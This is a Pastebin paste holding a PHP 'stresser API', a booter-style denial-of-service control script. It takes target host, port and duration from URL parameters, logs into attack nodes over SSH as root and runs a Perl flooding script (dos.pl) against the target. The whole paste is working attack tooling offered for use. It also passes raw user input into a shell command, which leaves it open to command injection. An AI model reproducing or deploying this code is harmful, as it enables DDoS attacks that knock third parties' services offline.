Advertisement
crayawn

PHP Stresser API

Apr 10th, 2013
1,768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.21 KB | None | 0 0
  1. <?php
  2. //
  3. // php stresser api
  4. // 2013 crayawm
  5. //
  6. function sendAttack($host, $port, $time) {
  7.     $node = rand(1, 2); //set the number of nodes in the second number
  8.     if($node == 1) { $con = ssh2_connect("NODE IP", 22); } //define your nodes here
  9.     if($node == 2) { $con = ssh2_connect("NODE IP", 22); }
  10.     if(!$con) {
  11.         echo('Error: Could not connect to node. Contact an admin.');
  12.     }
  13.     else {
  14.         if(!ssh2_auth_password($con, "root", "VPS ROOT PASS")) {
  15.             echo('Error: Could not authenticate node. Contact an admin.');
  16.         }
  17.         else {
  18.             echo('Sending Attack...<br />');
  19.             if(!ssh2_exec($con, "nohup /usr/bin/perl /home/dos.pl $host $port 2048 $time")) { //place dos.pl in /home/ and change the number here to your packet size
  20.                 echo('Error: Could not initiate node. Contact an admin.');
  21.             }
  22.             else {
  23.                 echo ('Attack sent successfully for '.$time.' seconds on port '.$port.' to host '.$host.'.');
  24.             }
  25.         }
  26.     }
  27. }
  28.  
  29. if(isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])) {
  30.     $key = $_GET['key'];
  31.     $host = $_GET['host'];
  32.     $port = $_GET['port'];
  33.     $time = $_GET['time'];
  34.     if($key == "SECRET API KEY") { //set a key here
  35.         sendAttack($host, $port, $time);
  36.     }
  37.     else {
  38.         die("Wrong key.");
  39.     }
  40. }
  41. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement